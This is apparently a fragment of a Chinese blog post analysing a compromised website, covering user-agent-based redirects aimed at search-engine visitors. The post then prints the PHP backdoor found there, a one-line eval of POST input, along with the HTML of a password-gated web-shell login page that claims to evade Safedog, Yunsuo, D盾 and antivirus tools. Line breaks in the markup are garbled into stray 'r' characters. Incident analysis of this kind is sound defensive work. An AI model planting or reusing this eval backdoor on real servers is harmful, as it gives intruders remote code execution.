先从搜索结果分析
js判断useragent做跳转 php判断useragent做跳转
以前还有一种是如果用户直接访问的话是返回正常的页面，但是如果从搜索引擎点击进去是返回被修改的页面的。那个跟现在的原理相同，但是做法不一样。目前这个是为了让用户更加的难发现问题在哪，对于小白可能就一脸懵逼了。
开始祭出大杀器
PHP分析
@eval($_POST['test']);
r<title>请勿使用非法用途</title>r<meta http-equiv="content-type" content="text/html;charset=gb2312">r<style type="text/css">r.form-control {rdisplay: block;rwidth: 100%;rheight: 38px;rpadding: 8px 12px;rfont-size: 14px;rline-height: 1.428571429;rcolor: #555;rvertical-align: middle;rbackground-color: #fff;rborder: 1px solid #ccc;rborder-radius: 4px;r-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);rbox-shadow: inset 0 1px 1px rgba(0,0,0,0.075);r-webkit-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;rtransition: border-color ease-in-out .15s,box-shadow ease-in-out .15sr}rr.btn {rdisplay: inline-block;rpadding: 8px 12px;rmargin-bottom: 0;rfont-size: 14px;rfont-weight: 500;rline-height: 1.428571429;rtext-align: center;rwhite-space: nowrap;rvertical-align: middle;rcursor: pointer;rborder: 1px solid transparent;rborder-radius: 4px;r-webkit-user-select: none;r-moz-user-select: none;r-ms-user-select: none;r-o-user-select: none;ruser-select: noner}rr.btn-primary {rcolor: #fff;rbackground-color: #428bca;rborder-color: #428bcar}r</style>r<center>r<br><br>r<font size="3" face="Microsoft YaHei">r过安全狗、云锁、阿里云、360、护卫神、D盾、百度云、各种杀软！</font>r<br><br>r<form method="POST">r<input style="Width:125pt;display:inline-block;font-family:Microsoft YaHeifont-size:90%" class="form-control" placeholder="@Passwrd" type="password" name="getpwd">r<input style="Width:55pt;font-size:90%;font-family:Microsoft YaHei" class="btn btn-primary" type="submit" value="#Login"></form></center></body></html>
